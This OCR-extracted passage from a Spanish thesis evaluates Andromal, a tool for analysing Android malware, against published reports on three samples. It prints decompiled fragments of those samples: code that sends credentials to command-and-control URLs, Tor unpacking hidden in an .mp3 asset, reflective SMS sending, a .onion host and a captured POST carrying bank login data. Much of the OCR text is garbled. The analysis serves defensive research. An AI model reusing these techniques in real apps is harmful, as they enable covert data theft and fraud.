String pl2 = "http://" + this.hostname + ":8080/MonkeyDIVWeb/user verification?phoneNum=" +
I,this.strUserphoneNum + "&StartPSW=" + this.strUserStartPSH;
try {
J30NCbject v4 = new JSCNCbject (EntityUtils.toString(new Defau lient () .execute (new

HrtpGet (v12)).getEntity())):

ng vl0 = vd.getString("success");

ng v8 = vd.getString("id");

String vll = v4.getString("releasetype”);

if(vli0.equalsIgnoreCase("true")) {
this. appPrefs.savelUserVersion(vll);
this. appPrefs.saveUserid(ve):
this. appPrefs.saveCountGps("3");
this. appPrefs.saveCountRecord("3");
this.user_insertimei(vE);
this.UpdataStatus(this._ appPrefs.getUserid()):

String v9 =Lth18 .checkTheRole (this. appPrefs. getUse}E ”.) |

this {processIcon (VD) |
this .IredirectToMorB (va): |
return; . start the service

}
this.strError = "[LEZEB 1 FEFHFEA "

lustracion 10 - Construccion de URL en cddigo fuente de aplicacion maliciosa.

Fuente: Partrick, 2015

Reporte comparativo (Andromal)

Andromal pudo realizar una reconstruccién del codigo fuente de la aplicacion y resulta legible por

humanos. Esto permitid identificar la misma seccion de c6digo mostrada en el reporte original:
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private void UserFistTimeUserVerification()
{
String vO = "errmsg";
try {
org.json.JSONObject v4_1 = new org.json.JSONODbject(
org.apache.http.util. EntityUtils.toString(
new org.apache.http.impl.client.DefaultHttpClient().execute(
new org.apache.http.client.methods.HttpGet(
new StringBuilder("http://").append(
this.hostname).append(*:8080/MonkeyDIYWeb/user_verification?phoneNum=")
.append(this.strUserphoneNum).append("&StartPSW=")
.append(this.strUserStartPSW).toString())).getEntity()));

Resultado del analisis de trafico de red

Reporte original

El reporte original describe los enlaces de red establecidos por la aplicacion maliciosa para

transmitir los datos:

http://11: w  »2:8080/MonkeyDIYWeb/user_querystatus
http://113 '» = = #52:8080/API/UploadContacts.ashx?phonenum=
http://113 '8 =% %52:8080/API/UploadGPS.ashx?phonenum=
http://113. +,2:8080/API/UploadSMS.ashx?phonenum=
Ihttp://ll? 2 »2:8080/API/UploadCalendar.ashx?phonenum=

lustracién 11 - Direcciones IP remotas usadas por software malicioso (reporte original).

Fuente: Partrick, 2015

Reporte comparativo (Andromal)

El sistema de anélisis capturd de forma exitosa los enlaces de red que se establecieron en tiempo

de corrida, coincidiendo con el reporte original.
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v opennet {1}
v 1.0633199214935303 {3}
desthost :
destport :
fd:

lustracién 12 - Direcciones IP remotas usadas por software malicioso (nuevo reporte).

Fuente: Elaboracion propia

mazar bot.apk

Esta muestra de codigo malicioso fue identificada en el afio 2015 como Mazar Android BOT por

el equipo at Heimdal Security (Zaharia, 2016) y Recorded Future (Gundert, 2015).

Resultados de analisis estatico de permisos

Reporte original

El reporte de original indica que, si el programa es ejecutado en un dispositivo Android, este va a
obtener automaticamente permisos de administrador. Los permisos otorgados a la aplicacion son

los siguientes:
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» SEND_SMS

* RECEIVE_BOOT_COMPLETED
* [NTERNET

¢ SYSTEM_ALERT_WINDOW
«  WRITE_SMS

¢ ACCESS_NETWORK_STATE
»  WAKE_LOCK

*» GET_TASKS

e CALL_PHONE

* RECEIVE_SMS

¢ READ_PHONE_STATE

* READ_SMS

* ERASE_PHONE

lHustracion 13 - Permisos de aplicacion del reporte original.

Fuente: Zaharia, 2016

Reporte comparativo (Andromal)

El reporte de Andromal es casi idéntico al reporte original. La Unica excepcion fue el permiso

ERASE_PHONE el cual no fue encontrado en el manifiesto de la aplicacion:

INTERNET GET_TASKS SEND_SMS
ACCESS_NETWORK_STATE RECEIVE_BOOT_COMPLETED READ_SMS
READ_PHONE_STATE SYSTEM_ALERT_WINDOW WRITE_SMS
WAKE_LOCK RECEIVE_SMS CALL_PHONE

La razon de la divergencia no esta clara, posiblemente es causado por una variante de codigo

malicioso en las muestras utilizadas.

Resultado del analisis estatico de codigo fuente

Reporte original
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En el reporte original se describe la forma en que la aplicacion obtiene un cliente del sistema de

comunicacion anonimizado TOR. También se indica lo siguiente:

e El ejecutable de TOR se descargo de las siguientes direcciones:
o https: //f-droid.org/repository/browse/?fdid=org.torproject.android
o https: //play.google.com/store/apps/details?id=org.torproject.android
e Una vez descargado y desempacado el ejecutable, se conecta a la direcciéon http: //

pc35hiptpcwagezgs [.] Onion.

Reporte comparativo (Andromal)

El analisis de codigo fuente no mostro las direcciones indicadas. Se descubrid que la forma en que
la muestra analizada instala el cliente de TOR es por medio de un archivo .mp3. Este archivo es
distribuido como parte del APK de la aplicacion. Una vez desempacado el archivo, la aplicacion
tiene acceso total al cliente de TOR por medio de una clase Ilamada TorController. El siguiente

fragmento de cddigo muestra este proceso:
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java.io.InputStream v1_0;

if (android.os.Build$VERSION.SDK_INT < 16) {
v1l_0 = this.context.getAssets().open(new
StringBuilder(String.valueOf(v0)).append(“/tor_old.mp3").toString());
}else {

vl_0 = this.context.getAssets().open(new StringBuilder(String.value Of(v0)).append("/tor.mp3").toString());

}

java.io.InputStream v1_1;
java.io.File v2_1 = new java.io.File(this.installFolder, "tor");
String[] v5_10 = new String[1];

v5_10[0] = new StringBuilder("rm -f ").append(v2_1.getAbsolutePath()).toString();
v3.add(new com.mazar.tor.rootcommands.command.SimpleCommand(v5_10)).waitForFinish();

com.mazar.tor.TorUnpacker.streamToFile(v1_0, v2_1, 0, 1);

Resultado del andlisis de ejecucion de programa

Reporte original

El reporte original indica que, una vez establecida la conexién por medio de TOR, un mensaje de

texto es enviado a un nimero de teléfono con cédigo de pais en Iran.

Reporte comparativo (Andromal)

No se encontraron registros de envios de mensaje de texto. Se encontro actividad de interaccion
entre TOR y la aplicacion de Android. Especificamente, la aplicacién de Android transmitié de

forma constante datos almacenados en el dispositivo:
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v 48.48757314682007 {5}
data:
id:
operation :
path :
type

llustracion 14 - Comando y datos transmitidos con TOR.

Fuente: Elaboracion propia

Resultado del analisis de trafico de red

Reporte original

El reporte original no menciona nada en lo que respecta a trafico de red.

Reporte comparativo (Andromal)

Fue posible capturar el encabezado HTTP utilizado por TOR para comunicarse con una red

externa. EI dominio encontrado coincide con el dominio descubierto por el andlisis estatico de

cadigo original:

POST http://pc35hiptpcwgezgs.onion/ HTTP/1.1
Content-Length: 456

Content-Type: application/json

krep.itmtd.ywtjexf-1.apk
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Esta muestra de codigo malicioso fue detectada por el equipo de investigadores de la empresa

ZScaler en el afio 2016. Esta aplicacion se disfraza como una aplicacion de banca en linea para el

banco mas grande de Rusia (Desai, 2016).

Resultados de analisis estatico de permisos

Reporte original

El reporte original muestra los permisos utilizados por la aplicacion. Solo se muestra una captura

de pantalla con los permisos solicitados por la aplicacion:

e n
= 3 m|

= Activate device administrator?

@ C6epbank

Haxmute AKTHBMpoBaTh ANA NPpoACIKEHWA
YCTaHOBKKN

APPS WIDGETS

meFED
+ L ne s

APIDemos  Browser  Calculator  Calendar Camera

O# #d @

Activating this administrator will allow the app
CGep6akk to perform the following operations:

e Erase all data
Erase the phone's data without warning by

DevTools Downloads Email

Gestures
Builder

e

Phone Search

7

CGepBaHk

o

Messaging

P
-

Music

o, r_}
= |
ol e

Settings Speech
Racorder

People

|

Widget
Preview

performing a factory data reset

Change the screen-unlock

password
Change the screen-unlock password.

Set password rules
Control the length and the characters allowed
in screen-unlock passwords.

Monitor screen-unlock attempts
Monitor the number of incorrect passwords
typed. when unlocking the screen, and lock
the phone or erase all the phone's data if too
many incorrect passwords are typed.

Cancel Activate

© ) =

llustracion 15 - Permisos solicitados por software malicioso.

Fuente: Desai, 2016

74



Reporte comparativo (Andromal)

El reporte generado es mucho mas detallado que el brindado por el reporte original. Este incluye

los siguientes permisos:

INTERNET
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE
READ_SMS

SEND_SMS

WRITE_SMS
READ_CONTACTS
ACCESS_NETWORK_STATE
READ_CALL_LOG

READ_HISTORY_BOOKMARKS

READ_SYNC_SETTINGS
READ_CALENDAR
READ_LOGS
READ_PHONE_STATE
READ_PROFILE
SYSTEM_ALERT_WINDOW
RECEIVE_BOOT_COMPLETED
SET_ALARM

RECEIVE_SMS

READ_SMS

Resultado del analisis estatico de cadigo fuente

Reporte original

SEND_SMS

VIBRATE

GET_TASKS
KILL_BACKGROUND_PROCESSE
S

RESTART_PACKAGES
GET_TASKS

CALL_PHONE

En el reporte original se menciona la capacidad del codigo malicioso de recibir comandos de un

servidor C&C para enviar mensajes de texto desde un dispositivo infectado a otros:
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return true;

while (paramInt != 1);

}

public void sendSMS(String paramStringl, String paramString2)
I

lSmsManager.getDefauIt{).sendTextMessage{paramStringl., null, paramString2, null, null);

public boolean sendSMS(int paramInt, String paramStringl, String paramString2)
{

Context localContext = this.mContext;
if (paramInt == 0);
for [Object localObject = "isms"; ; localObject = "isms2"})
label44s:
do
{
try
{
Method localMethod = Class.forName("android.os.ServiceManager").getDeclaredMethod("getService"”, new Class[] { String.class });
localMethod. setAccessible(true);
localobject = localMethod. invoke(null, new Object[] { localObject });
localMethod = Class.forName("com.android.internal.telephony.ISms$Stub").getDeclaredMethod("asInterface”, new Class[] { IBinder.class });
localMethod.setAccessible(true);
localobject = localMethod.invoke(null, new Object[] { localObject });
if (Build.VERSION.SDK INT < 18)
{
localObject.getClass().getMethod("sendText", new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class })
break label44s;

llustracion 16 - Cadigo fuente que muestra el envio de mensajes de texto.

Fuente: Desai, 2016

Reporte comparativo (Andromal)

En el analisis de codigo fuente se pudo identificar las funciones de envié masivo de mensajes de
texto tal y como estan reportadas originalmente:

public void sendSMS(String p7, String p8)

{
android.telephony.SmsManager.getDefault().sendTextMessage(p7, 0, p8, 0, 0);

return;

Resultado del analisis de trafico de red

Reporte original
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El reporte original presenta capturas de trafico de red donde se puede apreciar la transmision de

datos hacia el servidor de C&C:

|.#] Request to http:/ipari securedapinetwarks com80 [185.130.7.19]

| Forward | | Drop | | interceptis on | | Action | 1==) 2]

Raw | Params [ Headers [ Hex |

POST /ap1l/indata.php?type=SBankFull HTTP/1.1

Host: pari.securedapinetworks.com

Connection: keep-alive

Content-Length: 48

Cache-Control: max-age=0

Origin: file://

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/*;q=0.8
X-Requested-with: krep.itmtd.ywtjexf

User-Agent: Hash: 00000000-48f9-4a06- ff{f-ffffoods03as-bbluul
Accept-Encoding: gzip,deflate

Accept-Language: en-Us

Accept-Charset: utf-8, 1s0-8859-1, utf-16, *;q=0.7

T

sbol_login=sberuser123&shol_password=Passwordogs

lustracion 17 - Captura de trafico de red de la aplicacion de codigo malicioso.

Fuente: Desai, 2016

Resultado del analisis realizado

No se registraron datos durante el analisis dindmico de trafico de red.
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Capitulo VI: Conclusiones

1. Se determin0 el estado actual de las herramientas de andlisis de c6digo malicioso para la
plataforma Android. Se concluye que las soluciones disponibles de caja de arena en
dominio publico requieren un proceso de instalacion complejo, el cual va en detrimento

del esfuerzo que se puede enfocar en realizar el analisis de codigo malicioso.

2. Se selecciond la herramienta Androguard para realizar el andlisis de codigo estatico y
Droidbox para realizar el analisis de codigo dindamico. Se concluye que ambas herramientas
representan el estado del arte en cuanto anélisis de cddigo malicioso para la plataforma
Android. Aln asi, estas herramientas no contienen todo el conjunto de funcionalidades

ofrecido por otras herramientas (e.g. analisis de patronos de c6digo).

3. Se integro de forma exitosa las herramientas seleccionadas en un nuevo sistema de analisis
de coédigo malicioso llamado Andromal. Para lograr la integracion de las distintas
herramientas, evitar conflictos de librerias y ambientes de ejecucién, se empleo la solucién

tecnoldgica para creacion de contenedores Docker.

4. Se desarroll6 los componentes requeridos para que los procesos de instalacion y ejecucion
del sistema de analisis de codigo malicioso se ejecuten de forma automatica y no requieran
configuracién. En comparacion con otras soluciones disponibles, el sistema desarrollado
en esta investigacion superd a otros sistemas en cuanto a facilidad de instalacion, tiempo

de instalacion y facilidad de ejecucion.
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5. Se valord la efectividad de la herramienta de andlisis de cddigo malicioso y se corrobor6
que los resultados obtenidos eran similares a los resultados expuestos por expertos de

seguridad.
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Capitulo VII: Recomendaciones

1. Debido a los resultados positivos obtenidos durante el analisis de muestras de codigo
malicioso, facilidad de instalacion y uso, se recomienda la herramienta para ser empleada
dentro del &mbito académico.

2. El codigo fuente del sistema se encuentra disponible como cddigo abierto. Se recomienda
hacer las siguientes mejoras:

a. Mejorar la interfaz web del sistema con especial énfasis en el despliegue de datos
en formato binario y busquedas de cadenas de caracteres.

b. Permitir el ingreso de datos descriptivos que puedan ser almacenados junto con
cada sesion de anélisis de codigo.

c. Integrar la herramienta Androwarn para realizar analisis de patrones de codigo.

d. Permitir la ejecucién en paralelo de varios procesos de analisis.

e. Crear una copia historica de cada sesion de analisis.
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Apéndices
Apéndice 1: Top 23 Android Static Analysis Tools — 2018 Compilation

A static analysis is a review of the potential malware without its execution. For example, one of the first things that should

be done is to open the sample in a hex editor. This will provide a researcher with a quick and dirty look at strings and other
pieces of the program that can help in the dynamic analysis of the code. It can also help researchers spot a corrupt file,

detect the use of encryption, determine if the file is an executable, and more.

In addition to ensuring your android application meets its functional requirements by building tests, it's also important

that you ensure your code has no structural problems by scanning the application with below listed analysis tools.
Here we've compiled the top 23 tools through which you can do a static analysis for any android application:

o Amandroid — A Static Analysis Framework

e Androwarn — Yet Another Static Code Analyzer

o APK Analyzer — Static and Virtual Analysis Tool

o APK Inspector — A Powerful GUI Tool

e Droid Hunter — Android application vulnerability analysis and Android pentest tool

® Error Prone — Static Analysis Tool

e Findbugs — Find Bugs in Java Programs

e Find Security Bugs — A SpotBugs plugin for security audits of Java web applications.

e Flow Droid — Static Data Flow Tracker

e Smali/Baksmali — Assembler/Disassembler for the dex format

o Smali-CFGs — Smali Control Flow Graph's

e SPARTA - Static Program Analysis for Reliable Trusted Apps

e Thresher — To check heap reachability properties

e \lector Attack Scanner — To search vulnerable points to attack

e Gradle Static Analysis Plugin

e |mprove your code with lint checks

e Checkstyle — A tool for checking Java source code

e PMD - An extensible multilanguage static code analyzer

e Soot — A Java Optimization Framework

e Android Quality Starter

o (QARK — Quick Android Review Kit

e Android Check — Static Code analysis plugin for Android Project
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Apéndice 2: Malware Analysis Tools

Malware Analysis Tools

A list of analysis tools designed to log the activities of a process, log its network traffic, access to the registry etc. Mobile malware analysis
tools are included together with useful sandboxing software for dynamic analysis.

SysAnalyzer setup (old) - SysAnalyzer GitHub repo (updated)
SysAnalyzer is an automated malcode run time analysis application that monitors various aspects of system and process states.
SysAnalyzer was designed to enable analists to quickly build a comprehensive report as to the actions a binary takes on a system.

Regshot 1.9.0

Regshot is an open-source (GPL) registry compare utility that allows you to quickly take a snapshot of your registry and then compare
it with a second one - done after doing system changes or installing a new software product.

» Wireshark

Wireshark is a network packet analyzer. A network packet analyzer will try to capture network packets and tries to display that packet
data as detailed as possible.

v

v

Robtex Online Service
IPs, Domains, Network Structure Analysis tool.

v

VirusTotal
Virustotal is a service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all
kinds of malware detected by antivirus engines.

v

Mobile-Sandbox
Mobile-Sandbox.com provides static and dynamic malware analysis for Android OS smartphones.

v

Malzilla

MalZilla is a useful program for use in exploring malicious pages. It allows you to choose your own user agent and referrer, and has
the ability to use proxies. It shows you the full source of webpages and all the HTTP headers. It gives you various decoders to try and
deobfuscate javascript aswell.

v

Volatility
Volatility Framework is a completely open collection of tools, for the extraction of digital artifacts from volatile memory (RAM)
samples.

v

Mobile Malware Analysis Tools

» APKTool
A tool for reverse engineering 3rd party, closed, binary Android apps. It can decode resources to nearly original form and rebuild
them after making some modifications; it makes possible to debug smali code step by step.

y» Dex2lar
Designed to read the Android Dalvik Executable (.dex/.odex) format. It reads the dex instruction to dex-ir format and can convert to
ASM format. Can also be used to perform some basic decobfuscation.

» Smali
smali/baksmali is an assembler/disassembler for the dex format used by dalvik, Android's Java VM implementation.

PDF Tools

» PeePDF is a Python tool to explore PDF files in order to find out if the file can be harmful or not

Sandboxes

» Cuckoo Sandbox
Cuckoo Sandbox is an Open Source software for automating analysis of suspicious files.

» DroidBox
DroidBox is developed to offer dynamic analysis of Android applications.
» Malwasm

Malwasm is a tool based on Cuckoo Sandbox designed to help perform step by step analysis, log all malware activities and store
them into a web accessible database.
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Apéndice 3: Android Malware Analysis Tools — Dynamic Analysis Tools

AndroL4b is an android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from

different security geeks and researchers for reverse engineering and malware analysis.

13 @) = Fri Aug 26, 1458 O

9.8 - https://bytecodeviewer.com | https://the.bytecode.club - @Konloch

AuthServiceConnectorsRespo... %

s Exact
10-GUI De
package

public a 1 viceConnect poblic abstract
M]obile pplication [F Engineering & 3 0 2 " " public abstract voj public abstract checkPinfesult (boolean
y public abstract vol ultboolea public abstract c

public abstract void connected public abstract f1

public abstract void ¢ hRe! nt public abstract s

public abstract void s ] public abstract s

public abstract void setkeyResult (boolean public abstract s

public abstract vo

Tools

Radare2 Unix-like reverse engineering framework and commandline tools

Frida Inject JavaScript to explore native apps on Windows, macOS, Linux, i0S, Android, and QNX.

ByteCodeViewer Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger)
Mobile Security Framework (MobSF) (Android/i0S) Automated Pentesting Framework (Just Static Analysis in this VM)

Drozer Security Assessment Framework for Android Applications

APKtool Reverse Engineering Android Apks

AndroidStudio IDE For Android Application Development

BurpSuite Assessing Application Security

Wireshark Network Protocol Analyzer

MARA Mobile Application Reverse engineering and Analysis Framework

FindBugs-IDEA Static byte code analysis to look for bugs in Java code

AndroBugs Framework Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android
applications

Qark Tool to look for several security related Android application vulnerabilities
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Apéndice 4: A collection of Android security related resources

Academic/Research/Publications/Books

Research Papers

1. Exploit Database
2. Android security related presentations

3. A good collection of static analysis papers

Books

1. SEI CERT Android Secure Coding Standard

Others

1. OWASP Mobile Security Testing Guide Manual
2. doridori/Android-Security-Reference

3. android app security checklist

4. Mobile App Pentest Cheat Sheet

5. Mokile Se vReadingRoom

Exploits/Vulnerabilities/Bugs

List

. Android Security Bulletins

. Android's reported security vulnerabilities
. Android Devices Security Patch Status
AOSP - Issue tracker

. OWASP Mobile Top 10 2016

. Exploit Database - click search

. Vulnerability Google Doc

0 N OO R W N o

. Google Android Security Team's Classifications for Potentially Harmful Applications (Malware)

Malware

1. androguard - Database Android Malwares wiki

2. Android Malware Github repo

3. Android Malware Genome Project - contains 1260 malware samples categorized into 49 different malware families,
free for research purpose.

4, Contagio Mobile Malware Mini Dump

5. VirusTotal Malware Intelligence Service - powered by VirusTotal, not free

6. Drebin

7. Admire
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Apéndice 5: A curated list of awesome malware analysis tools and resources

Awesome Malware Analysis &

A curated list of awesome malware analysis tools and resources. Inspired by awesome-python and awesome-php.

« Malware Collection
o Anonymizers

o Honeypots
o Malware Corpora

¢ Open Source Threat Intelligence
o Tools

o Other Resources
« Detection and Classification
¢ Online Scanners and Sandboxes
e Domain Analysis
« Browser Malware
e Documents and Shellcode
« File Carving
* Deobfuscation
¢ Debugging and Reverse Engineering
* Network
¢ Memory Forensics
* Windows Artifacts
¢ Storage and Workflow
* Miscellaneous

* Resources
o Books

o Twitter

o QOther
¢ Related Awesome Lists
* Contributing
¢ Thanks

View Chinese translation: JEE ST ASE . md.
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Apeéndice 6: Interfaz de usuario de la herramienta MobSF

Recent Scany  About

Snarch WO

File Information

=) diva-beta.apk
| e RRENL]

[BI33 823b8b2133b3cfb1c737e3a786be363a
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[T scefcS11ceobd760b923b234047T14ddaB4bAse0CS 040493 4fe34fabTeS

17
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EXPORTED
ACTIVITIES

2

D App Information

IR iokhar.aseem.diva
ISR jokhar aseem. diva MainActivity
(o BT o BB son

RECEIVERS PROVIDERS
View ©
EXPORTED EXPORTED
RECEIVERS PROVIDERS
0 1

Code Nature

joa0

Options

<> View Java
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Apéndice 7: Interfaz de carga de muestras de codigo malicioso de Andromal

ANDROMAL Samples
Disk storage (Used/Total) File count
O nelve 319.40/1000.24 6B 14
a Options

Drop files here to upload

Malware samples

Samples stored in this instance of Andromal

Filename

candy_corn.apk

mazar_bot.apk
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Apéndice 8: Interfaz de andlisis estatico de la herramienta Andromal

ANDROMAL

#H Samples

com.cattss.apk

£¢ options

- ana|YSiS .

V<manifest B Resources file
xmlns:android="http://schemas.android.com/apk/res/

rc e
android" android:versionCode="1" <% Soureeiood

android:versionName="1.0" package="com.cattss"> Recommended regular expresions
<uses-sdk android:minSdkVersion="9"/>

<uses-permission

android:name="android.permission.CAMERA"/> Find IP addresses

<uses-permission \b\d{1,3\\d{1,3)\\d{1,3\\d{1,3)\b
android:name="android.permission.VIBRATE"/>

<uses-permission Find domain names
android:name="android.permission.INTERNET"/> (")(?:[a-20-9](?(2-20-9-){0,61}[a-20-9))?\.)+{a-20-9]{a-20-9-1{0,6 1}{a-z0-9]

<uses-permission 9]

android:name="android.permission.WRITE_EXTERNA
L_STORAGE"/>

<nesa-narmiasinn
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Apéndice 9: Interfaz de andlisis dindmico de la herramienta Andromal

ANDROMAL

Make yourself at
home

Yy eae alltysuerdppsrituch
apps herethe circle.

Activating t

will allow th
Messaging to perform the
follow rations

o Erase all data

Erase the phone's data

Cancel Activate

A [

Make yourself at
home

Y0 see altyyuirdpysrttuch
apps herethe circle.

f MMS Messaging

(~) vide

o Erase all data

Erase the phone's data

Cancel Activate

F MMS Messaging

ating this administrator

will allow the app M

ssaging to perform the
ving operations:

e Erase all data

Erase the phone’s data

cel Activate

[ 3

Activate device admi...

f MMS Messaging

((* ) Getvideo codec acc

Activating this administrator

will allow the app MMS
saging to perform the

following operations

e Erase all data
Erase the phone's data

Cancel Activate

o

[=] Activate device admi...

/ MMS Messaging

(* ) Getvideo codec

Activating this admin
the app M|

o Erase all data

Erase the phone's data

Cancel Activate
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Apéndice 10: Cadigo fuente y grafo de control de flujo generados por Andromal

E

MyApplication$1$1 run ()V.png — decompiled 2

EXPLORER

 OPEN EDITORS
X & MyApplication$1$1 run ()V.png com/mazar/MyApplicatio...
' DECOMPILED 2

‘el IVIYAPRIICAUON Ndnuieuncdugriicxcepuon yinredu 1mnro...
MyApplication onCreate ()V.ag
= MyApplication onCreate ()V.png
MyApplication onTerminate ()V.ag
& MyApplication onTerminate ()V.png
~ MyApplication$1
MyApplication$1 _init_ (MyApplication)V.ag
2 MyApplication$1 _init_ (MyApplication)V.png
MyApplication$1 access$0 (MyApplication$1)MyApplic...
= MyApplication$1 access$0 (MyApplication$1)MyApplic...
MyApplication$1 uncaughtException (Thread Throwabl...
2 MyApplication$1 uncaughtException (Thread Throwabl..
~ MyApplication$1$1
MyApplication$1$1 _init_ (MyApplication$1 Thread Thr...
2 MyApplication$1$1 _init_ (MyApplication$1 Thread Thr...
MyApplication$1$1 run ()V.ag
» QverlayView

OverlayView _init_ (Service I)V.ag

Bl

OverlayView _init_ (Service I)V.png
OverlayView addView ()V.ag

El

OverlayView addView ()V.png
OverlayView animationView ()View.ag

2]

OverlayView animationView ()View.png
OverlayView destroy ()V.ag

= OverlayView destroy ()V.png
OverlayView getLayoutGravity ()l.aqg

> OUTLINE

= MyApplication$1$1 run ()V.png X

com » mazar > MyApplication$1$1 > & MyApplication$1$1 run ()V.png

Togistors v0 ..
roburn - void

TCcomfmazar/MyApplications1S1; run>(V
Local v

1 move-exception
o inveke-virtual
24 goto 0x5

. Lisva/lang/Excaption;

>printStackTrace(V

Ljava/lang/Thread; Ljavalang/Throwable:)V.

0 v, L v 181;-> this$1 L -
1 1, Leam/mazar/MyApplication$1; >accessS0iLe MMyApplica e
a  move-result-object |
©  igetobject 2, v, L 151 Thread Ljava/lang/Thread;
10 b 181; Throwablo Ljava/lang/Throwablo;
14 ki v3, L r s h MyAppl
~
(1
\J.wdﬂ;mqfx(uplum:
v

Reviewing Whole Image

1496x736 82.91KB

0 A
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